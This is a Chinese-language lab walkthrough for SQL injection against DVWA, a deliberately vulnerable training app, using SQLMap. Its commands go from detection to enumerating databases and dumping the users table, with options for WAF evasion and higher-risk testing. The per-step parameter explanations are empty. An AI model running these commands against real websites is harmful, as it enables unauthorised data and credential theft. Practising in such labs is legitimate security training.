设置dvwa安全级别为low

获取有效的Cookie

登录后,使用浏览器开发者工具(F12)查看当前Cookie
image.png
或者使用Burp Suite拦截一个请求,获取Cookie值

您需要的Cookie应该包含PHPSESSID和security值

使用SQLMap进行测试


1. 基本注入测试

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       --batch

参数说明:


2. 获取数据库信息

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       --dbs \
       --batch

参数说明:


3. 获取当前数据库名称

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       --current-db \
       --batch

参数说明:


4. 获取数据库表

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       -D dvwa \
       --tables \
       --batch

参数说明:


5. 获取表结构(列名)

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       -D dvwa \
       -T users \
       --columns \
       --batch

参数说明:


6. 提取数据(Dump表内容)

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       -D dvwa \
       -T users \
       --dump \
       --batch

参数说明:


7. 使用POST请求测试(可选)

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/" \
       --data="id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       --batch

参数说明:


8. 使用随机User-Agent(绕过简单WAF)

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       --random-agent \
       --batch

参数说明:


9. 使用代理(Burp Suite抓包)

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       --proxy="http://127.0.0.1:8080" \
       --batch

参数说明:


10. 提高检测级别(更全面测试)

sqlmap -u "http://192.168.214.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=您的会话ID; security=low" \
       --level=3 \
       --risk=3 \
       --batch

参数说明:


总结

参数 作用
-u 指定目标URL
--cookie 提供会话Cookie
--batch 自动模式(无需交互)
--dbs 枚举所有数据库
--current-db 获取当前数据库名
-D 指定数据库
--tables 枚举表
-T 指定表
--columns 获取列名
--dump 提取数据
--data POST请求数据
--random-agent 随机User-Agent
--proxy 设置代理
--level 检测深度(1-5)
--risk 风险等级(1-3)